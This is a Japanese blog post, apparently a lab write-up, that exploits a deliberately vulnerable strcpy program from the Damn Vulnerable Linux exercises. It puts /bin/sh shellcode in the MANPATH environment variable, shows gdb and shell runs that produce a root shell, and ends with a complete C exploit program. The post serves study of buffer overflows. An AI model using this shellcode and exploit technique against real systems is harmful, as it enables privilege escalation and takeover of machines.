環境変数経由でshellコードを起動

今時のLinuxってスタックの開始位置が毎回変わりますよね。
そうするとリターンアドレスとかが分かりにくくなっているわけです。
となると昔ながらのバッファオーバーフローエクスプロイトが通じないんですよ。(通じにくい??)
じゃあどうやるんだろーってことで調べました

まず、セキュリティホールのあるプログラムはこれです。

bt abo01 # cat abo1.c
/* abo1.c                                                   *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* Dumb example to let you get introduced...                */

int main(int argv,char **argc) {
        char buf[256];

        strcpy(buf,argc[1]);
}

これの引数(argv[1])にAをたくさん与えた場合$eipが0x41414141のように書き換えられるのはいつも通りのことです。
この時、edxの値をgdbで見ると環境変数の開始アドレスになってます。
このアドレスを実行したいshellコードがある場所にすれば良いというのが参考先の文書で書いてあることです(超要約)。

でわ、まずコンパイルとobjdumpでアドレスの確認。

bt abo01 # gcc abo1.c -o abo
bt abo01 # objdump -d -s abo1 | grep edx | grep call
 8048358:       ff d2                   call   *%edx
 8048420:       ff 14 b2                call   *(%edx,%esi,4)

次にshellコードの置き場所として環境変数を使用します。
リンク先の文書では2番目の環境変数(MANPATH)使っています。うちのDVLだと2番目の環境変数はHZだったんですが、
上手くいかなかったので1番めの環境変数(MANPATH)を使用しました。

bt abo01 # MANPATH=`ruby -e 'print "\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`
bt abo01 # echo $MANPATH
1۰Ͱ.1Phn/shh//biRS

ではgdb上で試します。とりあえず適当な量をオーバーフローさせてます。

bt abo01 # gdb -q abo1
Using host libthread_db library "/lib/tls/libthread_db.so.1".
gdb $ r `perl -e 'print "\x58\x83\x04\x08"x100;'`
sh-3.1# exit
exit

Program exited normally.
-------------------------------------------------------------------------[ regs]
Error while running hook_stop:
No registers.
gdb $ q
bt abo01 #

上手くいきました.

次に普通にコマンドラインから実行します。

bt abo01 # `perl -e 'print "\x58\x83\x04\x08"x68;'`
sh-3.1#

これまた上手くいきました。ちなみに、最低4*68バイトのバッファオーバーフローでシェルが起動しました。

追記
DVLバッファオーバーフローのテスト(/dvl/exploitmes_package_02/2_advanced_buffer_overflows)のabo1.cに対するexploitコード。
exploitの中でMANPATHをセットする版。

#include 
#include 
#include 

// this address came from following command
//  8048338:       ff d2                   call   *%edx
// # objdump -d -s abo1 | grep edx | grep call
#define ADDRESS 0x08048338

// target buffer size + 12 bytes fake data + address
#define BUFFER_SIZE 256 + 16

char shellcode[] =
	"\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
	"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f"
	"\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1"
	"\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
	long *ret;
	char buf[BUFFER_SIZE], env[7 + 1 + sizeof(shellcode) + 1];
	int i;

	sprintf(env, "MANPATH=%s", shellcode);
	putenv(env);

	ret = (long *) &buf;

	for (i = 0; i < BUFFER_SIZE; i += 4)
		*ret++ = ADDRESS;

	execl("./abo1", "abo1", buf, NULL);

	return 0;
  
}